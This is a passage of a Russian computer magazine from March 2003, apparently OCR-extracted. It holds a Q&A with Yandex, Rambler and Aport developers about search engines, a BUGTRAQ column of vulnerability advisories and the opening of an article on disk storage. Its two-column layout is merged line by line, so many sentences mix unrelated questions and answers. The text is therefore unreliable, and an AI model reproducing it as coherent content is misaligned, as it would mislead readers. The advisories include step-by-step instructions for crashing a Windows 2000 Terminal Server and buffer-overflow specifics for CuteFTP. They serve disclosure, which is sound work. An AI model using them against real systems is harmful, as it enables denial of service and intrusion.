ниц. Кроме этого, найденные ссылки на страницы, онные представления.
удовлетворяющие пользователя, находятся зачастую
не в первых 50-ти. Какие технологии и разработки в Хорошо или плохо ищут современные поисковые
сфере поисковых систем будут применяться и вне- системы – это вопрос больше риторический, если сравни-
дряться в ближайшие годы? Следует ли ожидать в бли- вать с некой идеальной поисковой системой, то, конечно,
жайшем будущем революционного (инновационного) получится, что плохо. К счастью, для того чтобы быть полез-
подхода к поиску информации, который бы сделал ной пользователям, то есть помогать им найти нужную ин-
поиск в Интернете во много раз эффективнее? формацию, поисковая система не обязательно должна быть
идеальной, в большинстве случаев с этой задачей поиско-
Сложно ответить кратко на такой длинный вики справляются. Революционных изменений в ближайшем
список вопросов и утверждений, так что попробуем ра- будущем не ожидаются, скорее, все-таки эволюционные.
зобраться по порядку. Бесспорно, удовлетворяющая всех
пользователей поисковая система в настоящий момент На мой субъективный взгляд, в Рунете сейчас суще-
еще не разработана; более того, можно утверждать, что ствуют три кита в сфере поисковых систем: Яндекс,
такая поисковая система не будет разработана никогда, Рамблер, Апорт. Но к сожалению, не одна из этих ПС не
поскольку требования пользователей зачастую противо- владеет технологией реально качественного поиска ин-
речат друг другу. формации. Результаты поиска в данных ПС состоят на
Сложно судить, что такое КПД в случае поисковой сис- 95-98% из «мусора», который не представляет для искав-
темы. Качество поиска оценивается двумя величинами – пол- ших никакого интереса, а лишь стресс, потерю времени
нотой и точностью. Так вот, и по независимым, и по корпо- и средств. Не собираются ли руководители этих трех ПС
ративным оценкам, проводимым уже несколько лет и Апор- объединить свои знания, опыт и усилия, и начать разра-
том, и Рамблером, и Яндексом – у всех трех поисковиков ботку ПС нового поколения, которая бы несомненно была
точность давно перевалила за 90%. Такая оценка произво- бы более совершенной? Имеет ли вообще место данная
дится экспертами на основе анализа нескольких первых стра- идея? Или это по каким-то причинам бесполезно?
ниц выдачи поисковых машин; при этом оценка точности вы-
числяется как отношение количества соответствующих зап- Вопрос, на наш взгляд, аналогичен вопро-
росу документов к количеству документов на анализируе- су «почему все производители автомобилей не объеди-
мом количестве страниц. Так что если фраза «КПД парово- нятся и не создадут один самый-самый-самый автомобиль
за» означает «13%», то это – или большое заблуждение, на все случаи жизни».
или проявление неспособности конкретного пользователя
сформулировать запрос. Действительно, нельзя ожидать Тема «мусора» поднимается повторно. Если речь
высокой точности поиска подробностей теракта 11 сентяб- идет о все том же «понимании естественного языка», то та-
ря по запросу «новости» через год после событий. кой прогресс никому не нужен (см. выше). Объединение ради
чего? Качество сейчас у всех достойное.
Если речь идет о тех пользователях, которые, не жа-
лея сил, стремятся задать запрос на естественном языке, то Про субъективность оценки качества поиска го-
их удовлетворить невозможно. Да их никто и не удовлетво- ворили в предыдущем вопросе, но про 95-98% «мусора» –
ряет. Их просто не существует (в статистическом смысле). это очень сильное преувеличение. Что касается объедине-
Остальные полмиллиарда счастливы тому миру откры- ния усилий, то, если бы такое и было возможно, вряд ли
вающихся возможностей, который появился в их компью- это само по себе позволило бы создать поисковую систе-
тере вместе с поисковыми системами. му нового поколения.
Именно поисковые системы, то есть возможность на-
ходить нужную информацию в Интернете, – основной до- Есть ли какой-то стандарт расширенных запросов
вод в пользу покупки и установки компьютера в после- для поисковых систем, или каждая система придумы-
дние два-три года в нашей стране. вает ее заново?
Описывается ситуация, сложившаяся в технологиии ПС
на рубеже 98-99 годов. В настоящее время этот кризис в Строгого стандарта, принятого в качестве

54
поиски истины
руководства к действию, не существует. Однако существу- Возможно ли в ближайшее время увидеть ново-
ют сложившиеся традиции. Так, например, почти все по- введение в поисковых системах, заключающееся в
исковые машины поддерживают булев язык запросов, где добавлении модуля «интеллектуального распознава-
используются операторы «И», «ИЛИ», «И_НЕ», а выра- ния» пользователя? То есть в зависимости от того,
жения могут быть сгруппированы скобками. При вычис- что обычно ищет пользователь, какие разделы ка-
лении же запросов без операторов каждая команда раз- талога поисковой системы он посещает, поисковая
работчиков принимает свои собственные решения. Так, система начинает «делать для себя выводы» о том,
например, Рамблер по запросу в двойных кавычках вы- что интересует пользователя и к какой тематике он
полняет поиск на точное вхождение фразы в документ. ближе. Таким образом ПС определяет более узкую
сферу поиска, что может привести к более высоко-
Есть законодатели мод. Есть подражатели. У пре- му качеству работы ПС. Кажется ли вам эта концеп-
дыдущего законодателя (AltaVista) стандарт был доста- ция ключевой в дальнейшем совершенствовании по-
точно приятным и его многие скопировали. У нынешного исковых систем?
(Google) – настолько неэстетичен (в своей оригинальной
части), что пока никто не хочет его повторять. Но, вооб- Построение «профиля пользователя», не-
ще-то, я согласен, что отсутствие стандарта – это хотя и которой меры круга его интересов, давно уже представ-
не очень большая, но все же проблема для пользователей. ляется весьма заманчивой идеей. Некоторые шаги в этом
направлении уже сделаны. Так, Рамблер в ответ на зап-
Стандарта нет, у каждой системы свой язык. рос выдает так называемый «список ассоциаций», то
есть те запросы, которые искали другие пользователи с
Считаете ли вы возможным в течение 5-7 лет со- подобным кругом интересов. Рейтинг Top100 также по-
здать поисковую систему нового поколения, которая зволяет собирать подобную информацию, так как набор
бы общалась с пользователем не на формальном язы- посещаемых сайтов характеризует пользователя. Одна-
ке запросов, а на присущем человеку голосе? И явля- ко в поиске эти данные пока не используются: автомо-
ется ли данная концепция одним из основных направ- билист, который ищет «египет», вряд ли интересуется
лений в создании идеальной поисковой системы? Как, египетским автопромом.
по-вашему, должна выглядеть идеальная поисковая
система (как в сети Интернет, так и вообще)? Этот модуль уже был реализован (в частности, Аль-
тависта и, кажется, Excite) примерно в 1999 году, замет-
5-7 лет – очень большой срок для инфор- ного эффекта не дал и от него пришлось отказаться.
мационных технологий. Уже сейчас некоторые автомоби-
ли оснащаются речевым интерфейсом к сети Интернет. Ключевой не кажется, пользователь явно опре-
Поэтому то, о чем вы говорите, вполне реально. деляет, что его в данный момент интересует, вводя поис-
ковый запрос. Сужать сферу поиска на основе каких-то дру-
Поисковые системы нового поколения уже созда- гих данных было бы вообще неправильно, речь может идти
ны. Следующая революция по Куну должна случиться лет только о повышении приоритета документам, предположи-
через двадцать-тридцать. тельно относящимся к сфере интересов пользователя. Это
может быть полезно в некоторых случаях, но радикально-
Не очень понятно, при чем тут голос, если име- го повышения качества поиска в целом не обещает.
ется в виду распознавание речи, то в этой области я не
специалист. Если же речь про понимание естественного С точки зрения руководителей поисковых систем
языка, то создать систему, полноценно понимающую ес- Яндекс, Рамблер, Апорт: данные системы качествен-
тественный язык, в указанные сроки нереально. но превосходят своих иностранных собратьев или нет?
Мне было бы интересно получить ответ на данный воп-
Демоверсию системы, работающей с голосом, рос с двух позиций:
можно увидеть по адресу: http://labs1.google.com/gvs.html. а) В отдельности по каждой системе.
Думаем, что в ближайшие 5-7 лет появятся работающие б) В совокупности, т.е. лучше ли русские поиско-
прототипы поисковой системы, отвечающей на естествен- вые системы (вместе взятые) иностранных (вместе
но-языковые запросы, заданные голосом. взятых)? (Должны учитываться только качественные
характеристики нахождения информации в сети Ин-
Можно ли организовать полнотекстовой поиск в ар- тернет.)
хиве документов на CD? Есть ли программы для ин-
дексирования и поиска на CD-архивах? Какие? Ответить на такой вопрос можно только в
том случае, если есть критерии сравнения. Если речь идет
Да, конечно, есть такие программы – например, о поиске по российским ресурсам, то, конечно, для этого
Яndex.CD (http://company.yandex.ru/programs/cd/). российские поисковики подходят гораздо лучше. Просто
потому, что они изначально для этого проектировались.
У нашей компании разработана технология по-
иска по СD. Поисковик – это многоаспектная система. Счет

№3(4), март 2003 55


поиски истины
факторов и возможностей идет на многие десятки. И у Есть ли возможность у вашего робота двигаться
каждого крупного производителя ПС есть пункты, кото- по ссылкам, код которых генерируется динамичес-
рыми он гордится, уникальные, лучшие в мире и т. д. и т. п. ки? Вопрос связан с применением разного рода поп-
Есть, конечно, и недочеты, причем у всех без исклю- ап и ролл-аут, даун меню... с их программной реали-
чения. Я могу долго перечислять наши сильные стороны, зацией.
но лучше все-таки, чтобы вы прочитали это в независи-
мом обзоре поисковых систем. В настоящий момент робот учитывает ссыл-
ки, сформированные средствами HTML, и не выделяет
Какие документы, кроме html, индексирует ваша ссылок из различных скриптов (JavaScript, VBScript): он
система? попросту их игнорирует.

«Плоский» текст. Мы планируем расширить Подробности поведения робота – без комментариев.


список поддерживаемых форматов.
Если речь идет о ссылках, генерируемых брау-
Rtf, pdf, gif, jpeg, png. Планируем добавить еще ряд зером при исполнении скриптов, то нет.
форматов.
Насколько важно присутствие и содержание header-
Апорт индексирует только документы в форма- тегов (h1, h2 ...) на индекисруемых документах?
те html. Документы некоторых других форматов могут быть
найдены по тексту ссылок на них из html-документов. Поисковые системы, и Рамблер в том чис-
ле, ориентированы прежде всего на веб-документы, так
В Интернете наша поисковая система индекси- что форматирование имеет не последнее значение. Ко-
рует сейчас только html-документы. У нас есть решения, нечно, оно учитывается при вычислении релевантности.
используемые нашими корпоративными заказчиками, по-
зволяющие осуществлять поиск не только по html-доку- Подробности поведения робота – без комментариев.
ментам, но и по документам форматов txt, rtf, doc, dot, xls
и другим популярным офисным форматам. Текст, заключенный в эти теги, обычно (если ими
не злоупотребляют) имеет несколько более высокий вес
Почему Рамблер ведет подсчет найденных ресур- при подсчете релевантности.
сов в документах, а другие поисковые машины – в
страницах? Теги h1, h2 и т. п. учитываются при определении
порядка выдачи документов.
Рамблер, в отличие от многих других по-
исковых машин, умеет «склеивать дубли» одного и того При предоставлении информации существуют не-
же текста, размещенные по разным адресам Сети, и сколько очень важных факторов (на мой взгляд): за-
хранит для таких текстов лишь одну копию. Поэтому при конность информации, достоверность информации,
поиске он сообщает не количество найденных страниц, актуальность информации. По каждому пункту у меня
на которых есть слова запроса, а именно количество имеются отдельные вопросы:
уникальных текстов, содержащих эти слова. Именно по- а) Считаете ли вы, что поисковые системы не дол-
этому мы используем при подсчетах термин «доку- жны (или не имеют права) предоставлять ссылки на
мент», а не «страница». По нашим данным, миллион страницы с содержанием, которое противоречит за-
обработанных страниц порождает примерно 700 тысяч конам и моральным нормам? Если да, то будете ли вы
уникальных документов. Соответственно, 300 тысяч яв- создавать такую поисковую систему, которая не будет
ляются копиями. выдавать ссылки на похабщину, порно и другое?
б) Считаете ли вы, что поисковые системы должны
Каков максимальный размер документа или размер содержать в своей БД ссылки только на страницы с
той части, что будет проиндексирована? Есть ли это достоверной информацией (или иметь такую опцию,
ограничение? чтобы пользователь сам для себя решал: искать дос-
товерное или нет)? Если да, то как, по-вашему, данная
Робот скачивает примерно 200 Кб текста, а концепция реализуема, или это невозможно?
программы индексирования обрабатывают первые 65535 в) Считаете ли вы, что поисковые системы должны
слов (знаки препинания считаются словами). иметь более развитое средство (чем указание при по-
иске «даты документа»), позволяющее пользователю
Подробности поведения робота – без комментариев. находить только ссылки на страницы с актуальной ин-
формацией? Если да, то вы работаете над этим? (Я счи-
128 kb. таю, что ПС предоставляют информацию в виде ссы-
лок на источник и выдержки из данного источника, ко-
Сейчас у нас стоит ограничение на первые 200 Кб торую так же можно отнести к одному из перечислен-
документа. ным мною факторам).

56
поиски истины
Поисковая система в настоящий момент яв- шей степени, чем информация с домашней странички
ляется своего рода оглавлением к большой-большой кни- Васи Пупкина). Не думаю, что в этом есть смысл, так
ге, или даже библиотеке, которая называется Интернет, как критерии, по которым можно провести такую оцен-
поэтому вопрос о том, стоит ли находить по нецензурным ку, слишком грубые.
запросам нецензурные документы, сродни вопросу о том, Да, в некоторых случаях это очень существенно, на-
следует ли выносить нецензурные слова в алфавитный пример, прайс-лист трехлетней давности пользователю
индекс книги. Оценка достоверности информации в авто- почти наверняка не нужен.
матическом режиме в настоящий момент вряд ли возмож-
на, так как для этого требуется сформулировать соответ- Какие объемы задействованы в хранении инфор-
ствующие критерии, которые сработали бы практически мации и как часто обновляется оборудование, задей-
для любого текста; ожидать же, что программный комп- ствованное в хранении информации?
лекс, даже имеющий в своем составе самое мощное лин-
гвистическое ядро, справится с задачей, непосильной Поисковый индекс занимает в сумме 250 Гб
даже для человека, по меньшей мере, рано. Актуальность дискового пространства, однако он, конечно же, разбит на
информации достигается в настоящий момент увеличе- несколько частей, а части размещены на разных машинах.
нием частоты обхода сети Интернет поисковой системой.
Объемы мы регулярно сообщаем здесь: http://
Здесь есть несколько аспектов, среди которых – www.yandex.ru/chisla.html. Что понимается под обновле-
ответственность поисковой системы. нием оборудования: корпус и блок питания? диски? па-
Мы считаем, что ПС – автоматическая система, и в этом мять? В общем, оборудование постоянно обновляется.
смысле не несет равной автору ответственности за содер-
жание выдаваемой информации. Кроме того, мы не счита- Сейчас нами проиндексировано около 150 Гб до-
ем себя вправе цензурировать содержание Интернета. кументов с украинских сайтов. Оборудование обновляет-
Однако с точки зрения пользовательского сервиса мы ся по необходимости.
делаем все, чтобы помочь той очистке, о которой вы го-
ворите. В частности, мы первая и до сих пор (вот уже 4 Как можно ускорить процесс поиска на заданном
года) единственная в России ПС, реализующая порно- сервере определенной фразы\слова, причем поиск
фильтрацию при использовании «Семейного Яндекса» идет не только по html’кам, но и по базе? Как изменя-
(family.yandex.ru). В настоящее время мы работаем над ется алгоритм?
фильтрацией фашистских сайтов.
При хостинге сайтов у себя (на Народе) мы придержива- Ускорение поиска достигается сведением к
емся другой политики – не разрешаем размещать содержа- минимуму операций ввода-вывода и глубокой оптимиза-
ние, «которое противоречит законам и моральным нормам» цией всех используемых алгоритмов.
(см. Пользовательское соглашение http://www.yandex.ru/info/
agreement.html). О каком поиске идет речь? Об индексации сайта
Достоверность – это один из факторов, влияющих на ран- Яндексом? Поиск по нескольким источникам сделать мож-
жирование при анализе социальной сети. Например, на вы- но, например, с помощью локальной версии Яндекса – про-
явление и удаление из результатов поиска (или понижение граммы Яndex.Site.
ранга) неоригинальных (скопированных) материалов наце-
лены процедуры выявления и удаления точных и неточных Какую оценку вы бы поставили своей поисковой си-
дубликатов и зеркал. Подробнее об этом можно прочитать в стеме по 10-бальной системе? Устраивает ли вас ка-
нашей публикации на http://company.yandex.ru/articles/. чество поиска своей поисковой системы?
Да, мы активно работаем над проблемой выявления,
индексации и ранжирования «новой» актуальной инфор- Качество поиска своей поисковой системы
мации. Пока существенных результатов мы не добились, не может устраивать разработчиков. Если же такое слу-
но готовим продвижение в сторону вовлечения в анализ чится, то поисковая система перестанет развиваться, что
социальной сети фактора «новизны». Кроме того, с 2000- приведет к коллапсу.
го года в параллельной выдаче Яндекса присутствует лен-
та новостных агентств (более 50 участников), что частич- Оценки должны ставить не мы, а пользователи. Что
но снимает проблему «новизны». касается качества – мы сами пользуемся Яндексом, не
потому, что таковы корпоративные правила, а потому, что
Я не думаю, что поисковые системы должны за- мы делаем его и для себя, и нам удобно искать с его помо-
ниматься цензурой. В то же время, предоставление щью. И, конечно, мы видим, куда нам расти и улучшаться.
пользователю возможности исключения из поиска доку-
ментов «только для взрослых», безусловно, полезна. В отношении качества поиска есть над чем ра-
Достоверность определить, конечно, нельзя, можно ботать (как, думаю, и другим поисковым системам).
только попытаться оценить ее по некоторым косвенным
признакам (к примеру, информация с корпоративного Учитывают ли поисковые роботы HTML-теги, добав-
сайта известной компании заслуживает доверия в боль- ляющие структурную информацию в текстовые фра-

№3(4), март 2003 57


поиски истины
зы? Конкретнее: теги <EM> и <STRONG>, предписан- вета, за день на эту службу приходят десятки писем и не-
ные стандартом для выделения? Если да, то в какой редко с очень сложными ситуациями.
степени эти теги усиливают значимость («вес») заклю-
ченного в них текста? Хотя бы в сравнении с тегами Недавно мною был замечен новый паук Яндекса –
<I> и <B>, которые они призваны заменить? YandexSomehing. Что это за паук, за что он отвечает?

Да, Рамблер эти теги учитывает. Это не робот и не паук, а скрипт со странички «мой
сайт глазами Яндекса».
Подробности поведения робота – без комментариев.
Для общего ознакомления не могли бы вы выслать
<STRONG> учитывается наравне с <B>, <EM> исходные коды Яндекса? Можно ли взглянуть на алго-
не учитывается, как и <I>. ритм Яндекса? Как часто он меняется?

Теги <EM> и <STRONG> у нас не учитываются Мы скоро выложим (собираемся оформить стра-
при определении порядка выдачи. ницу и написать лицензию) программу морфологическо-
го разбора mystem в публичный некоммерческий доступ.
Вопрос разработчикам Яндекса. Вчера зашёл на Ян- После опубликования принципов работы, возможно, от-
декс и в строке url своего браузера перед www.yandex.ru кроем и коды. Однако алгоритмы ранжирования и подав-
увидел иконку с красной буквой «Я» вместо обычного ления спама или непотизма ни одна поисковая система
значка html-документа. Как это было сделано и почему не откроет никому и никогда.
сегодня иконка пропала и появился привычный значок?
Если Рамблер один раз уже нашел сайт и осуще-
Вы, наверное, пользуетесь Мозиллой? Иконка на ствляет по нему поиск по словам на главной (или дру-
месте. Это картинка размером 16х16, которая лежит в кор- гих еще ?) странице, то если содержимое сайта изме-
не сайта и называется favicon.ico. нится, будет ли Рамблер проверять его еще раз или
это происходит только единожды? Заранее спасибо.
Что для поисковой машины Яндекс означает тег мо-
его сайта <META NAME=«ROBOTS» CONTENT=«ALL» и Да, Рамблер периодически навещает обра-
необходим ли он? ботанные ранее сайты и обновляет свой индекс. Мы каж-
дые несколько недель обновляем все страницы, которые
Этот тег ничего нового роботу не сообщает. Робот были найдены пользователями хотя бы по одному поиско-
так и считает по умолчанию: «страницу индексировать, вому запросу. Остальные страницы обновляются не реже,
по ссылкам ходить». чем раз в 3 месяца. Примерно для трети всех сайтов, име-
ющихся в базе, выполняется полное переиндексирование
Что я могу предпринять, чтобы Яндекс индексировал каждый месяц. Конечно же, параллельно с этими процесса-
не только одну страницу моего сайта, а несколько? ми непрерывно идет пополнение базы новыми страницами.

Чтобы сайт индексировался нормально, очень ре- Чем руководствуются создатели ПС Rambler, не раз-
комендуется не писать в url сессионную куку, иначе с точ- решая своему пауку индексировать динамические сайты
ки зрения робота это каждый раз будут разные страницы (*.pl, *.cgi, *.php,...), хотя всем известно, что *.htm, *.html –
и он будет тратить время на их обход, вместо индексации также могут быть страницами динамических сайтов?
настоящей информации.
Дело в том, что такие страницы очень час-
На днях Яндекс переиндексировал наш сайт, вслед- то дублируют уже присутствующую в сети Интернет ин-
ствие чего резко поднялся индекс цитирования и со- формацию. Поэтому для того, чтобы уменьшить нагрузку
ответственно положение в результатах поиска (со вто- на систему, мы их исключали. Однако в прошлом году
рой страницы поиска по запросу поднялся на первую начали эти ограничения снимать, и через некоторое вре-
позицию первой страницы!). Поначалу я подумал, что мя снимем их полностью.
причиной этому стала индексация движка сайта (по-
тому что Яндекс свидетельствовал о более чем 400 Я тщательно подготовил описание сайта, ключевые
страницах, но на самом деле оказалось, что Яндекс не слова, прописал все теги «title» & «alt» (также поизу-
проиндексировал ни одной страницы движка! А те 400 чав материалы на сайтах основных поисковиков) и
страниц – это страницы форума сайта. Меня, как раз- после этого стал регистрировать сайт во всех основ-
работчика движка, очень интересует, почему Яндекс ных поисковиках и каталогах (это было уже давно,
не проиндексировал движок? месяцев 8-10 назад). Суть проблемы: Яндекс вполне
нормально нас проиндексировал и по статистике с него
Этот вопрос надо задать в addurl@yanex.ru, там по- постоянно идут посетители, примерно 200-250 в день;
смотрят на сайт, на базу робота и ответят. Только, пожа- в то же время ни с Рамблера, ни с Апорта столько на-
луйста, наберитесь терпения и не ждите немедленного от- роду не приходит, а точнее вообще никого (от 2 до 5-6

58
поиски истины
в день). Не подскажете, как это можно объяснить и щий очень высокую посещаемость только лишь за счет
исправить? наличия большого информационного наполнения, по-
лучает к себе большой приток посетителей. Релевант-
Рамблер и Яндекс используют разные алго- ность документа в этом случае не играет никакой роли.
ритмы оценки соответствия документа или сайта запросу.
Кроме того, аудитория этих поисковых систем различна. На самом деле релевантность документа
Постарайтесь переработать свой сайт так, чтобы содержи- имеет также важную роль. Нерелевантные запросу стра-
мое было более релевантным целевому набору запросов. ницы, пусть даже они и имеют огромный рейтинг Top100,
все равно в выдачу не попадут. С другой стороны, из двух
В прессе много говорилось о том, что Рамблер стал страниц, имеющих подобное содержание, раньше будет
индексировать любые динамические страницы. Практи- показана та, которая зарегистрирована в Top100 и имеет
ка показывает, что это не так. Некоторые сайты действи- больший рейтинг. На наш взгляд, учет предпочтений
тельно индексируются, а некоторые – нет. В ближайшее пользователей имеет большое значение.
время большинство значимых для Рунета сайтов будут
разрабатываться на основе CMS (Систем Управления Кон- Как мне известно, база данных поисковых систем
тентом), а значит эти сайты будут полностью динамичес- не хранит в чистом виде текст, найденный на страни-
кими. Подскажите, от чего сейчас зависит успешность цах сайта. В БД сохраняются лишь какие-то слова с
индексирования динамического сайта в Рамблере? определенной информацией о себе (как часто встре-
чается, какой уровень значимости и т. д.). Так каким
Мы постепенно ослабляем ограничения на же образом работает функция «реконструкция текста»,
«динамические» страницы для всех без исключения сай- например, в поисковой системе Апорт?
тов. Осенью мы ослабили ограничения для сайтов, пост-
роенных на ASP (то есть для URL, содержащих подстроку То, что вы пишете про БД, верно по отноше-
«.asp?»). Недавно ослабили ограничение на PHP. Через нию к той ее части, которая используется при собствен-
некоторое время ограничений не останется вовсе. но поиске. Тексты документов (в сжатом виде и с упро-
Рамблер во многих случаях снимает такие ограниче- щенным форматированием), хранятся в отдельном хра-
ния для сайтов, которые содержат, по мнению наших ре- нилище и используются только для цитирования и ре-
дакторов, уникальную информацию и/или являются попу- конструкции текста.
лярными ресурсами. Также такие «послабления режима»
возможны по просьбе авторов сайтов. Мною на практике (на своих сайтах) замечено, что
паук Апорта плохо индексирует сайты. Как правило,
Выдержка из официальных сведений: «При поиске паук не индексирует больше 400 страниц, даже при по-
ресурсы, зарегистрированные в Top100, занимают пер- вторном индексировании паук не заходит на остальные
вые несколько позиций (до пяти) и упорядочены в со- страницы. С чем связано такое явление? (для справки,
ответствии со своей посещаемостью». Разве это пра- все страницы *.html и имеют перекрестные ссылки).
вильный подход в поиске информации? В результате
имеем следующую нелепую ситуацию: какой-нибудь Апорт применяет квотирование количества ин-
крупный ресурс, объединяющий в себе большой набор дексируемых документов с одного сайта. Размер квоты
различных сервисов (например, мини-портал) и, имею- для сайта определяется его индексом цитируемости.

№3(4), март 2003 59


BUGTRAQ
Похищение сеанса другого пользователя Переполнение буфера в CuteFTP
в Compaq Insight Manager CuteFTP – популярный FTP-клиент для Windows-систем.
Уязвимость обнаружена в компоненте Compaq Web Agent Обнаруженная уязвимость позволяет злонамеренно-
в Compaq’s Foundation Agents для Windows на Compaq му FTP-серверу выполнять произвольный код на системе
Proliant Servers. Удаленный атакующий может войти в си- с уязвимым CuteFTP-клиентом.
стему, похищая последний сеанс. В ответ на команду LIST от CuteFTP-клиента, удален-
Сообщается, что Compaq Web Agent, используемый ный FTP-сервер может возвратить 257 байтов, которые
для удаленного управления серверами Compaq Proliant вызовут переполнение буфера. Регистр EIP может быть
через Secure Sockets Layer (SSL), содержит недостаток в перезаписан полностью, посылая 260 байтов данных. Уяз-
управлении сеансами. Если заверенный пользователь зак- вимость обнаружена в CuteFTP build 50.6.10.2.
рывает браузер вместо того, чтобы нажать по ссылке the
«Logout», то удаленный пользователь на том же самом Множественные уязвимости
хосте (или, возможно, с тем же самым IP) по сообщениям в Linux Mandrake
будет способен получить доступ к сеансу целевого пользо- Несколько уязвимостей обнаружено в пакете «printer-
вателя в течении 15 минут. Уязвимость обнаружена в drivers», поставляемом с Mandrake Linux. Локальный
Compaq Insight Manager 5.1.0. пользователь может получить root-привилегии на уяз-
вимой системе.
Переполнение буфера в Windows XP  Переполнение буфера обнаружено в «mtink» при об-
Windows Redirector используется клиентами Windows для работке переменной среды HOME. Локальный пользо-
доступа к файлам, локальным или удаленным, независи- ватель может снабдить специально обработанную пе-
мо от используемых протоколов в сети. Например, мас- ременную HOME, чтобы выполнить произвольный код
тер the «Add a Network Place» или команда NET USE мо- с привилегиями группы «sys».
гут использоваться, чтобы отобразить сетевой ресурс как  Переполнение буфера обнаружено в «escputil» при ана-
местный диск, и Windows Redirector обработает инфор- лизе «printer name» параметра командной строки. Ло-
мацию маршрутизации к сетевому ресурсу и от него. кальный пользователь может снабдить специально об-
Уязвимость защиты обнаружена в выполнении Windows работанное значение «printer name», чтобы выполнить
Redirector на Windows XP. Переполнение буфера происхо- произвольный код с привилегиями группы «sys».
дит при получении информационных параметров. Обеспе-  Уязвимость состояния операции обнаружено при ис-
чивая некорректные данные к Windows Redirector, атакую- пользовании временных файлов в «m185p». Локаль-
щий может аварийно завершить работу системы или вы- ный пользователь с привилегиями группы «sys» мо-
полнить произвольный код на уязвимой системе. жет создать символьные ссылки от предсказуемых
Платформы: Windows All. временных файлов к произвольным чувствительным
файлам.
Переполнение буфера
в KaZaA Media Desktop Уязвимость обнаружена в Linux(Mandrake) 8.0, 8.1, 8.2, 9.0.
Уязвимость отказа в обслуживании обнаружена в KaZaA
Media Desktop. Удаленный пользователь при некоторых
обстоятельствах может аварийно завершить работу кли- Недостаток в удалении почтовых
ента. Согласно сообщению, уязвимость может использо- сообщений в Qualcomm Eudora
ваться для выполнения произвольного кода на системе Недостаток обнаружен в Qualcomm Eudora в пути, которым
клиента. Удаленный атакующий может вызвать перепол- Eudora удаляет почтовые сообщения из папки «Trash». Ког-
нение буфера, изменяя запрос загрузки рекламы клиен- да сообщения удалены из «Trash»-папки, они только поме-
та. Уязвимость можно воспроизвести, запрещая все HTTP- чены как удаленные и все еще присутствуют в Trash.mbx-
подключения к хосту, с «ad» в имени домена. При запус- файле. Сообщения будут удалены из Trash.mbx только ког-
ке клиента работа его сразу аварийно завершится. да пользователь выберет уплотнение почтовых ящиков. Уяз-
Уязвимость обнаружена в KaZaA Media Desktop 2.0.2. вимость обнаружена в Qualcomm Eudora 5.2.

Утечка информации в Linux 2.4.х kernel DoS против Windows 2000 Terminal Server
Уязвимость обнаружена в Linux 2.4 kernel. Локальный пользо- Любой пользователь, способный войти в Windows 2000
ватель может прочитать некоторую информацию на файло- Terminal Server (через RDP или ICA) и обратиться к фай-
вой системе, к которой у него нет доступа. Уязвимость об- ловой системе, может перезагрузить сервер. Пример:
наружена в обработке O_DIRECT в Linux kernels 2.4.10 и бо-  Откройте %SYSTEMROOT%\SYSTEM32\MSGINA.DLL
лее поздних версиях. Утечка информации позволяет локаль- для эксклюзивного доступа (блокировка чтения). На-
ному пользователю с привилегиями на запись читать инфор- пример, используя Radsoft HEXVIEW.EXE;
мацию на файловой системе из предварительно удаленных  Откройте новое подключение через RDP/ICA;
файлов. Локальный пользователь также способен незначи-  Щелкните на кнопку «Restart» в диалоговом окне пре-
тельно разрушить файловую систему, которая, как сообща- дупреждения («msgina.dll failed to load»).
ется, может быть легко восстановлена, используя fsck. Уяз-
вимость обнаружена в Kernel 2.4.10-2.4.18. Уязвимость проверена на Windows 2000 Server SP2-SP3.

60
hardware

ОСНОВЫ СИСТЕМ
ХРАНЕНИЯ ДАННЫХ

62
hardware
Часть 1
Целью написания данного документа является помощь ува-
жаемому читателю в освоении фундаментальных основ и
принципов построения дисковых систем хранения данных.
Как ни странно, но практика показывает, что системы хра-
нения данных являются наименее понимаемой и в то же
время наиболее интересной частью компьютерной отрас-
ли. Поэтому мы вместе с читателем постараемся прибли-
зиться к наиболее полному понимаю дисковых систем, от-
толкнувшись от незыблемых законов физики и логики.
Мы начнем с обсуждения базовых понятий, поэтому
предварительное знакомство читателя с дисковыми сис-
темами и самими жесткими дисками не обязательно, но
крайне желательно, так же как и владение минимально
необходимой терминологией.
По ходу изложения мы обсудим критерии производи-
тельности дисков, протоколы IDE и SCSI, и почему от-
дельные IDE-диски обычно более производительны, чем
аналогичные по характеристикам диски SCSI. Какие ха-
рактеристики дисков, публикуемые в спецификациях
производителя важны, а к каким надо относиться с до-
лей скептицизма. Мы вплотную разберемся с характе-
ристиками шин и интерфейсов дисков, начиная с ATA-1
(устаревшего, но все еще интересного в историческом
аспекте) до новейшего Serial ATA, SCSI и ее реинкарна-
циями, и закончим FC-AL (Fibre Channel – Arbitrated Loop)
и FC-SW (Fibre Channel Switched), а также новейшей (но
пока не испытанной на практике) iSCSI. Заглянем во внут-
ренности RAID-массивов и RAID-контроллеров, раз и на-
всегда уясним разницу между RAID-01 и RAID-10 (очень
часто эти термины используются взаимозаменяемо и, как
следствие, некорректно), попытаемся понять, какой из
уровней RAID для какого типа приложений является наи-
более оптимальным.
Мы рассмотрим и логическую часть систем хранения
данных: файловые системы разных операционных систем,
их преимущества и недостатки, а также программные ме-
неджеры томов (software volume managers, иногда я буду
вынужден использовать кальку с английских терминов
просто по причине отсутствия нужных в русском языке).
Ну и конечно, я зачастую буду использовать примеры из
реальной жизни, начиная от систем начального уровня и
заканчивая high-end платформами. Тут я вынужден заме-
тить, что все в этой статье «по умолчанию» относится к
дискам SCSI и Unix-подобным операционным системам.
SCSI – потому что диски ATA неприменимы даже в систе-
мах класса «ниже среднего» (почему именно – читаете
ниже), а Unix – просто потому, что я знаком с ним гораздо
лучше, чем с платформой Wintel.
Но начнем с терминологии. На данном этапе, пока мы
обсуждаем физические характеристики жестких дисков,
я буду использовать следующие термины:
 жесткий диск (чаще просто «диск») – в отношении фи-
зического устройства целиком (что, в общем-то, оче-
видно);
АЛЕКСЕЙ СЕРЕБРЯКОВ  контроллер диска (drive controller) – в отношении схем
электрики и электроники (процессор, память, схемы
управления и электропитания), установленной непос-
редственно на жестком диске;

№3(4), март 2003 63


hardware
 шина (bus) – в отношении схем передачи данных от
одного устройства другому. При этом я обязательно
буду уточнять, о какой именно шине речь: будь то
системная шина или дисковая, шина памяти или ка-
кая-то другая;
 контроллер шины (bus controller) – любое устройство,
предназначенное для соединения системной шины вво-
да/вывода компьютера и устройств хранения. Русско-
язычный термин «контроллер шины» не совсем коррек-
тен, поэтому в тексте я буду также использовать терми-
ны «контроллер» и «адаптер», потому что иногда один
подходит лучше другого. В общем случае понимать под
этим термином следует любой SCSI, Fibre Channel или
Fireware адаптер, как в виде платы расширения для сло-
тов PCI, так и интегрированный на материнской плате;
 ATA – любое устройство, использующее IDE-протокол.
